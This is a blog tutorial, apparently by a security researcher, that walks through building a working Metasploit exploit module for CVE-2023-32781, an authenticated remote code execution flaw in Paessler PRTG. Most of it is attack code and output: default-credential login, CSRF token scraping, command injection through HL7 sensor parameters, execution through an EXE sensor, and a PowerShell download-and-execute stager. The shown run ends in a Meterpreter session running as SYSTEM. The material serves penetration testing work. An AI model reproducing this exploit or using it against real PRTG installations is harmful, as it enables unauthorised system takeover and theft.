Building your first metasploit exploit
Table of Contents
- Introduction
- Setting up our development environment
- Buiding the exploit for CVE-2023-32781
- Using CmdStager to run Meterpreter
- Submitting the module to metasploits public repository
Introduction
People regularly use metasploit for utilizing exploits written by others. But what is actually the process of writing an exploit and since getting it published as a metasploit module? This is an important step to complete as other professionals can then reuse your work in customer engagements.
This post outlines the process I followed to transform the authenticated Remote Code Execution (RCE) vulnerability in PRTG, identified as CVE-2023-32781, into a Metasploit exploit. The focus here is on the development of the exploit itself, rather than the steps for exploiting the RCE. For specific details on the vulnerability, please refer to the corresponding post titled PRTG Remote Code Execution.
The following will be our things to go through:
- Setting up our development environment
- Buiding the exploit for CVE-2023-32781
- Comitting it to Metasploits exploit library
Setting up our development environment
We don't want to install everything on our local machine, but merely want a quick running metasploit. For this we can use their docker image metasploit-image
The following commands will get us up and running. These will pull the metasploit docker image and subsequently drop us into a shell.
baldur:~$ docker pull metasploitframework/metasploit-framework
baldur:~$ docker run --rm --net=host -it metasploitframework/metasploit-framework
Metasploit tip: Enable verbose logging with set VERBOSE true
______________________________________
/ it looks like you're trying to run a \
\ module /
--------------------------------------
\
\
__
/ \
| |
@ @
| |
|| |/
|| ||
|\_/|
\___/
=[ metasploit v6.3.34-dev ]
+ -- --=[ 2354 exploits - 1225 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit Documentation: https://docs.metasploit.com/
[*] Processing docker/msfconsole.rc for ERB directives.
[*] resource (docker/msfconsole.rc)> Ruby Code (236 bytes)
LHOST => 172.17.0.2
msf6 >
An important bit to notice above is the --net=host
flag. You probably run your vulnerable service in another container or another virtual machine or similar. Your docker might not have the same network access as the host, but this flag forces it to have the same access. This will also allow reverse payloads to listen on your host interface instead of inside a container that is probably not reachable by default.
Metasploit is now up and running. All the usual commands are available such as use <exploit>
and more. But what we really want is to have our own cve_2023_32781.rb
running inside this instance.
For this you need two things:
- A ruby editor as metasploit modules are written in ruby.
- The file
cve_2023_32781.rb
which you edit on your host, to be accessible for the container that runsmetasploit
.
The editor choice will be up to you.
First we're going to fill cve_2023_32781.rb
with the basics needed for an exploit. This will be self-explanatory for now and every edit will be explained later on.
# cve_2023_32781.rb
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
def initialize(info = {})
super(
update_info(
info,
'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
'Description' => %q{
Authenticated RCE in Paessler PRTG
},
'License' => MSF_LICENSE,
'Author' => ['ggisz'],
'References' => [
[ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
[ 'CVE', '2023-32781']
],
'DisclosureDate' => '2023-08-09',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
end
def check
CheckCode::Vulnerable
end
def exploit
connect
print_status("PRTG Incomplete exploit")
handler
end
end
To map the file cve_2023_32781.rb
into metasploit we need to create a directory with the file, and then use docker
volume command to mount it.
baldur:~$ mkdir development
baldur:~$ mv cve_2023_32781.rb development
baldur:~$ docker run --rm --net=host -it -v $PWD/development:/usr/src/metasploit-framework/modules/exploits/development/ metasploitframework/metasploit-framework
The last command simply mounts our local development folder into the folder /usr/src/metasploit-framework/modules/exploits/development/
which is used by metasploit for discovering the exploits available.
Upon starting metasploit we notice that 2355
exploits are available instead of 2354
. (This might differ on the time you read this post)
=[ metasploit v6.3.34-dev ]
+ -- --=[ 2355 exploits - 1225 auxiliary - 413 post ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion
Now we can use and get info about our loaded exploit with the command use exploit/development/cve_2023_32781
msf6 > use exploit/development/cve_2023_32781
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(development/cve_2023_32781) > info
Name: PRTG CVE-2023-32781 Authenticated RCE
Module: exploit/development/cve_2023_32781
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-08-09
Provided by:
ggisz
Available targets:
Id Name
-- ----
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
l
RPORT yes The target port (TCP)
Payload information:
Description:
Authenticated RCE in Paessler PRTG
References:
https://baldur.dk/blog/prtg-rce.html
https://nvd.nist.gov/vuln/detail/CVE-2023-32781
View the full module info with the info -d command.
Modifying the exploit during development is a standard procedure. By employing the reload
command, any changes made to the exploit, such as altering the name within cve_2023_32781.rb
, are promptly reflected.
msf6 exploit(development/cve_2023_32781) > reload
[*] Reloading module...
msf6 exploit(development/cve_2023_32781) > info
Name: PRTG CVE-2023-32781 Authenticated RCE UPDATED
Buiding the exploit for CVE-2023-32781
Now that our development environment is setup we can get straight into actually building the exploit.
Our exploit consists of the following steps:
- Login with the default credentials (prtgadmin:prtgadmin)
- Create a
HL7 Sensor
that will write a.bat
file to the disk - Trigger
EXE Sensor
which will then run the.bat
file - Get a meterpreter session running
The first step would be to login to the application and verify that we're authenticated correctly. For this we need to be able to specify how the exploit should authenticate and what the default credentials are. Here the register_options
comes in handy.
This should be placed inside the defined initialize
but after the super
register_options(
[
OptString.new(
'USERNAME',
[ true, 'The username to authenticate with', 'prtgadmin' ]
),
OptString.new(
'USERNAME',
[ true, 'The username to authenticate with', 'prtgadmin' ]
),
OptString.new(
'URI',
[ true, 'The URI for the PRTG web interface', '/' ]
)
]
)
Now we can reload
and info
the exploit and see the available options.
msf6 exploit(development/cve_2023_32781) > reload
[*] Reloading module...
msf6 exploit(development/cve_2023_32781) > info
...SNIP...
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
tml
RPORT 443 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI / yes The URI for the PRTG web interface
USERNAME prtgadmin yes The username to authenticate with
VHOST no HTTP server virtual host
password prtgadmin yes The password to authenticate with
...SNIP...
When running the payload, you can simply omit the process of actually setting the options. Simply writing run rhosts=127.0.0.1 rport=13380
will set them on the fly and allow quick debugging and environment changes. rhosts
specifies the target address, and rport
the target port. I'm using port forwarding which is why it listens on my local interface.
Now we need the code for actually conducting the authentication attempt against PRTG. For this we need to modify the def exploit
method. But first, lets see the authentication attempt through the eyes of Burp Suite
.
To do this, simply fire up Burp Suite
and MiTM
a authentication attempt towards PRTG
Here we see the following POST
request:
POST /public/checklogin.htm HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
...
loginurl=&username=prtgadmin&password=prtgadmin
The important bits to note down here is the arguments needed, http method and the Content-Type
as it might be JSON. In this case it is simply application/x-www-form-urlencoded
. Then also note down the request path. In some cases the application has extra checks (as we will see later), CSRF
tokens and more to handle, but this is not the case for now. So now we can simply build our authentication check in a new method:
def authenticate_prtg
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302 && res.headers['Set-Cookie']
print_good('Successfully authenticated against PRTG')
else
fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
end
end
What happens in the above example is that it utilizes the internal function in metasploit called send_request_cgi
and then it builds the request with the given URI
and the path /public/checklogin.htm
. Then the parameters are inputted from our configuration, and sent to the server. The first check is simply connectivity issues, but the second is the interesting part. Here we check against the http code 302
and if the server tries to set cookies through the Set-Cookie
flag. This indicates a successful authentication attempt which we learned through Burp Suite
interactions previously. This varies greatly depending on the target application.
Now it's time to check our exploit so far. Let's first check with the default credentials and then actively setting wrong credentials to see if it correctly throws an error.
Note: There will be some reverse TCP handler
messages but for now, we don't care about them.
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444
[*] PRTG Incomplete exploit
[+] Successfully authenticated against PRTG
[*] Ending
[*] Exploit completed, but no session was created.
We can now see our succesfull authentication message: Successfully authenticated against PRTG
.
Let's just verify that it fails with wrong credentials.
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380 USERNAME=nonexistantuser
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444
[*] PRTG Incomplete exploit
[-] Exploit aborted due to failure: no-access: Failure to authenticate against PRTG
[*] Exploit completed, but no session was created.
Great! First part done. We can now authenticate against PRTG
So now we have 2 stages left, which is triggering the file write, and executing the written file.
Let's first define two boilerplate functions for the next stages. These are going to be ran after the authentication stage.
def write_bat_file_to_disk
# Uses the HL7Sensor for writing a .bat file to the disk
print_good('Writing .bat to disk')
end
def run_bat_file_from_disk
# Run the .bat file that we previously wrote to the disk
print_good('Running .bat from disk')
end
For completing the function write_bat_file_to_disk
we need three things:
- The cookies we got from our authentication method.
- The request that creates the HL7 sensor
- The request that runs the HL7 sensor
To keep the cookies for future requests is easy if we look at the documentation for the send_request_cgi method. Here we can see that a flag keep_cookies
is present.
This will keep all the cookies set by the server in a cookie store in HttpClient
, available for future requests. So now we can send all future requests as authenticated.
For the request that creates the HL7 Sensor, we repeat the steps on the authentication flow, and request the creation through burp, and note down the relevant parts. I'm not going through the full request, but one thing that differs and is important is that we now have a anti-csrf-token
as we normally have in these kind of applications. So we need to fetch this token, before any requests can be made.
anti-csrf-token
's can be stored in multiple ways, so that is very application dependent. However, in this particular example, the value is reflected inside the DOM
upon making a request to /welcome.htm
(and probably any other page).
...SNIP...
<meta
name="csrf-token"
content="MjUzNGRlMzUwMmRmNmVkZjZkZjQ5MDk5N2EzOWY2N2FmNTM4YmNkMDkzMjQ2ZGNhNjg5NzdkNjE2OGNmMDgyZQ=="
>
...SNIP...
To extract this, we create a function called get_csrf_token
that requests /welcome.htm
, parses the body, and returns the anti-csrf-token
string. Extracting the actual token from the body is done through using a regex that is specified for how it looks inside PRTG.
def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], '/welcome.htm'),
'keep_cookies' => true,
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with CSRF token not available')
end
regex = %r{csrf-token" content="([^"]+)"}
token = res.body[regex, 1]
print_good("Extracted token")
print_good(token)
token
end
The interesting part here is the regex. It matches csrf-token" content="
and then makes a second group and matches all characeters within this group, until a "
character arive. Then we extract that group 1, with this res.body[regex, 1]
.
Now that we have our method for getting the anti-csrf-token
needed for the request, we can continue with building the method write_bat_file_to_disk
.
I won't go into the exploit details as these are thoroughly described in the blog post around that vulnerability, but instead outline the two steps involved in the write_bat_file_to_disk
method.
- Send a request to the endpoint
/addsensor5.htm
which creates the HL7 Sensor. Here theanti-csrf-token
is embedded as a parameter in thePOST
body. - Send a request to
/controls/deviceoverview.htm?id=40
as we need to get theid
for theHL7 Sensor we just created
. Thisid
is sadly not reflected in the/addsensor5.htm
response. - Send a request to the endpoint
/api/scannow.htm
with theid
for the HL7 Sensor we just created. Theanti-csrf-token
is embedded as a header in this request, as that is what the application relies on.
All request details are extracted through Burp Suite
and simply reading the HTTP
requests.
So writing up our updated method for write_bat_file_to_disk
we get the following code.
def write_bat_file_to_disk
# Uses the HL7Sensor for writing a .bat file to the disk
print_status('Writing .bat to disk')
csrf_token = get_csrf_token
# Generate a random sensor name
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"
print_status("Generated sensor_name #{sensor_name}")
print_status("Generated bat_file_name #{bat_file_name}")
params = {
'name_' => sensor_name,
'parenttags_' => '',
'tags_' => 'dicom hl7',
'priority_' => '3',
'port_' => '104',
'timeout_' => '60',
'override_' => '0',
'sendapp_' => 'test',
'sendfac_' => 'test',
'recvapp_' => 'test',
'recvfac_' => "testtest4\" -debug=\"C:\\Program Files (x86)\\PRTG Network Monitor\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"test",
'hl7file_' => 'ADT_& mkdir c:\\\metasploit & A08.hl7|ADT_A08.hl7||',
'hl7filename' => '',
'intervalgroup' => ['0', '1'],
'interval_' => '60|60 seconds',
'errorintervalsdown_' => '1',
'inherittriggers' => '1',
'id' => '40',
'sensortype' => 'hl7',
'tmpid' => '2',
'anti-csrf-token' => csrf_token,
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_status('HL7 Sensor created')
else
fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
end
print_good("HL7 Sensor succesfully created")
# Actually creating the sensor can take 1-2 seconds
sleep(5)
sensor_id = get_created_sensor_id(sensor_name)
print_status("Requesting HL7 Sensor to initiate scan")
run_sensor_with_id(sensor_id)
print_good(".bat file written to disk")
bat_file_name
end
We went over many things in this code, but some minor new things is that we now pass the headers
flag to send_request_cgi
, because this function is requiring the anti-csrf-token
as a header. Another thing is the X-Requested-With
, which has to be set to XMLHttpRequest
else we get a permission denied error. Again, these are things you have to fiddle with for each exploit you write, as the logic is completely application dependent.
The sensor_name
and bat_file_name
are now randomly generated to avoid clashing with existing sensors, or bat files.
Another thing is that we introduced the function for getting the sensor_id
. It takes the name of the sensor and parses through the DOM
and finds the id. It is very much alike the get_csrf_token
method.
def get_created_sensor_id(sensor_name)
print_status("Fetching created sensor id")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'], 'controls', 'deviceoverview.htm'),
'keep_cookies' => true,
'vars_get' => {
'id' => 40,
}
})
if res.nil? || res.body.nil?
fail_with(Failure::NoAccess, 'Page with sensorid not available')
end
regex = %r{id=([0-9]+)">#{sensor_name}}
sensor_id = res.body[regex, 1]
print_status("Extracted sensor_id: #{sensor_id}")
sensor_id
end
Same goes for the function run_sensor_with_id
which simply makes the request to /api/scannow.htm
and starts the sensor with the given id.
def run_sensor_with_id(sensor_id)
csrf_token = get_csrf_token
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], 'api', 'scannow.htm'),
'keep_cookies' => true,
'headers' => {
'anti-csrf-token' => csrf_token,
'X-Requested-With'=> 'XMLHttpRequest'
},
'vars_post' => {
'id': sensor_id,
}
})
if res && res.code == 200
print_good('Sensor started running')
else
fail_with(Failure::NoAccess, 'Failure to run sensor')
end
end
Now we need to run the created .bat file through an EXE sensor
. The process for this is much alike the other items above. We will do this inside our old boilerplate function run_bat_file_from_disk
.
- Create a
EXE/Script Sensor
through the endpoint/addsensor5.htm
and specify the file we want to run, which is our newly created.bat
file. - Send a request to
/controls/deviceoverview.htm?id=40
as we need to get theid
for theEXE/Script Sensor
we just created. Thisid
is sadly not reflected in the/addsensor5.htm
response. - Send a request to the endpoint
/api/scannow.htm
with theid
for theEXE/Script Sensor
we just created. Theanti-csrf-token
is embedded as a header in this request, as that is what the application relies on.
Since step 2 and 3 are eerily close to step 2 and 3 in the last steps inside the write_bat_file_to_disk
function, we're going to reuse the two functions we defined, namely get_created_sensor_id
and run_sensor_with_id
.
This will make our run_bat_file_from_disk
function look like the following:
Note: All relevant parameters for the HTTP
requests are simply taken by intercepting the Burp
request when exploiting this issue manually.
def run_bat_file_from_disk(bat_file_name)
print_status("Running the .bat file: #{bat_file_name}")
csrf_token = get_csrf_token
sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
params = {
"name_" => sensor_name,
"parenttags_" => "",
"tags_" => "exesensor",
"priority_" => "3",
"scriptplaceholdergroup" => "1",
"scriptplaceholder1description_" => "",
"scriptplaceholder1_" => "",
"scriptplaceholder2description_" => "",
"scriptplaceholder2_" => "",
"scriptplaceholder3description_" => "",
"scriptplaceholder3_" => "",
"scriptplaceholder4description_" => "",
"scriptplaceholder4_" => "",
"scriptplaceholder5description_" => "",
"scriptplaceholder5_" => "",
"exefile_" => "#{bat_file_name}|#{bat_file_name}||",
"exefilelabel" => "",
"exeparams_" => "",
"environment_" => "0",
"usewindowsauthentication_" => "0",
"mutexname_" => "",
"timeout_" => "60",
"valuetype_" => "0",
"channel_" => "Value",
"unit_" => "#",
"monitorchange_" => "0",
"writeresult_" => "0",
"intervalgroup" => "0",
"interval_" => "43200|12 hours",
"errorintervalsdown_" => "1",
"inherittriggers" => "1",
"id" => "40",
"sensortype" => "exe",
"tmpid" => "6",
"anti-csrf-token" => csrf_token,
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
'keep_cookies' => true,
'vars_post' => params
})
unless res
fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
end
if res && res.code == 302
print_status('EXE Script sensor created')
else
fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
end
print_status("Sleeping 5 seconds to wait for sensor creation")
sleep(5)
sensor_id = get_created_sensor_id(sensor_name)
run_sensor_with_id(sensor_id)
print_good("Exploit completed. Waiting for payload")
end
The above scripts does not introduce any new concepts that needs further explanation.
Now we have a fully functioning exploit that will create a .bat
file with a valid command to be executed as SYSTEM
. Our exploit
function now looks like the following:
def exploit
connect
print_status("PRTG Incomplete exploit")
authenticate_prtg
bat_file_name = write_bat_file_to_disk
run_bat_file_from_disk(bat_file_name)
print_status("Exploit done")
# handler
end
And when we reload
and run
our created exploit we get the following:
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444
[*] PRTG Incomplete exploit
[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[*] Generated sensor_name OTFUPFJK
[*] Generated bat_file_name HJPHFSOH.bat
[+] HL7 Sensor succesfully created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2085
[*] Requesting HL7 Sensor to initiate scan
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[+] Sensor started running
[+] .bat file written to disk
[*] Running the .bat file: HJPHFSOH.bat
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[*] EXE Script sensor created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2086
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[+] Sensor started running
[+] Exploit completed. Waiting for payload
[*] Exploit done
[*] Exploit completed, but no session was created.
Using CmdStager to run meterpreter
Remember I told you not to worry about the Started reverse TCP handler
? Well now it's time to fix that part. Currently we simply inject a mkdir
payload, as can be seen in the hl7file_
parameter of the request to create the HL7Sensor
.
We want to be able to make arbitrary payloads from the usage of Metasploits
internal payload library. Namely we want to use meterpreter
to prove full exploit functionality.
To enable the usage of internal payloads such as meterpreter
we need to include a stager mixin
. For this specific vulnerability where we have a command we can execute, the Msf::Exploit::CmdStager is an excellent choice.
This allows us to create a wrapper, and tell metasploit
how to execute a command and launch the payload for us. Now after including Msf::Exploit::CmdStager
in our module, we need to tell it about our target, and how we want the stager to work.
The following is going to be included in the update_info
function in the start of our exploit. This tells metasploit that we want to stage the payload picked by the user with psh_invokewebrequest
. This uses powershell to fetch our payload and run it on the machine. This is great as we don't have a lot of space in our initial payload.
'Targets' =>
[
[ 'Windows',
{
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
}
]
]
Once the Msf::Exploit::CmdStager
mixin is in place, we need create a function called execute_command
which is used by the mixin.
in short, our module exploit
method will now look like the following. We commented out our old items for now. So execute_cmdstager
is an internal function delivered by the Msf::Exploit::CmdStager
. It does magic to our choosen payload and then it will run the command it builds by calling execute_command
which is a function we define.
def exploit
connect
execute_cmdstager(flavor: :psh_invokewebrequest)
# print_status("PRTG Incomplete exploit")
# authenticate_prtg
# bat_file_name = write_bat_file_to_disk
#run_bat_file_from_disk(bat_file_name)
# print_status("Exploit done")
# handler
end
def execute_command(cmd, opts = {})
print_status(cmd)
end
Now we simply printed the cmd
to see what is happening behind the scenes. We simply reload
the module, set the payload to windows/meterpreter/reverse_tcp
. Set the SRVPORT
, which is where the stager will fetch the second part of the payload. So the port that your host/attacker will be listening on. Currently we are not setting the LPORT
and LHOST
which is relevant for meterpreter
, but that is not relevant for now.
msf6 exploit(development/cve_2023_32781) > reload
[*] Reloading module...
msf6 exploit(development/cve_2023_32781) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10102
SRVPORT => 10102
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444
[*] Using URL: http://127.0.1.1:10102/oUwmBJI
[*] powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%\Nxvfrnet.exe & del %TEMP%\Nxvfrnet.exe
[*] Command Stager progress - 100.00% done (143/143 bytes)
As we can see it builds a nice staging command for us. This command simply downloads the Nxvfrnet.exe
binary which is meterpreter using powershell
and then runs it.
powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%\Nxvfrnet.exe & del %TEMP%\Nxvfrnet.exe
So now we have to modify our original exploit code to be called from within execute_command
so we know what to pass into the .bat
file that we create.
For this to work we are going to rearrange our exploit to the following:
def exploit
connect
execute_cmdstager(flavor: :psh_invokewebrequest)
end
def execute_command(cmd, opts = {})
print_status("Running PRTG RCE exploit")
authenticate_prtg
bat_file_name = write_bat_file_to_disk(cmd)
run_bat_file_from_disk(bat_file_name)
print_status("Exploit done")
handler
end
Now we simply adjust our write_bat_file_to_disk
to take the cmd
parameter and write it into the file.
def write_bat_file_to_disk(cmd)
cmd = cmd.gsub! '\\', '\\\\\\'
...SNIP...
params = {
...SNIP...
'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
...SNIP...
One minor problem is that PRTG is weird about their \
characters, and they want some more. So this is fixed in the by adding some extras in this line cmd = cmd.gsub! '\\', '\\\\\\'
Now our exploit should be ready to run!
msf6 > use exploit/development/cve_2023_32781
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(development/cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(development/cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(development/cve_2023_32781) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4446
[*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
[*] Running PRTG RCE exploit
[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] Generated sensor_name Wg83qiZvO
[*] Generated bat_file_name rjKu8O2Pt.bat
[+] HL7 Sensor succesfully created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2095
[*] Requesting HL7 Sensor to initiate scan
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] .bat file written to disk
[*] Running the .bat file: rjKu8O2Pt.bat
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] EXE Script sensor created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2096
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] Exploit completed. Waiting for payload
[*] Exploit done
[*] Command Stager progress - 100.00% done (150/150 bytes)
[*] Client 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz
[*] Sending payload to 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428)
[*] Sending stage (175686 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
[*] Server stopped.
meterpreter > shell
Process 4280 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22621.2428]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
nt authority\system
Our first fully featured exploit for the metasploit framework! Now other professionals can reuse our work in engagements.
Submitting the module to metasploits public repository
Now we want our exploit to go into the official metasploit repository. For this the steps are the following:
- Go to https://github.com/rapid7/metasploit-framework and
fork
- Git clone the repository
forked
- Create a new branch for your exploit
- Add the exploit to the branch
- Push the branch to github and make a
pull request
baldur:~$ git clone git@github.com:ggisz/metasploit-framework.git
baldur:~$ cd metasploit-framework
baldur:~$ git checkout -b prtg_authenticated_rce_cve_2023_32781
baldur:~$ cp cve_2023_32781.rb modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
baldur:~$ git add modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
baldur:~$ git commit -m "added exploit for CVE-2023-32781 - PRTG authenticated RCE"
baldur:~$ git push --set-upstream origin prtg_authenticated_rce_cve_2023_32781
As you notice above in the following command we rename our exploit and place it here modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
. This is up to you to find the most fitting directory for your new exploit. In our case, it is HTTP
based and windows
only, which makes it the perfect candidate for that folder. Furthermore, previous PRTG
exploits are also written to this folder.
Now go to metasploit-framework at github and create a pull request
to merge your branch into the metasploit-framework
master
branch. This pull request should include every information about the new module, to easen the burden on rapid7
. A video is also good to include where you run the exploit.
The following is my pull request: PR#18568 where you can see the full finished exploit. Now let's hope rapid7
accepts it.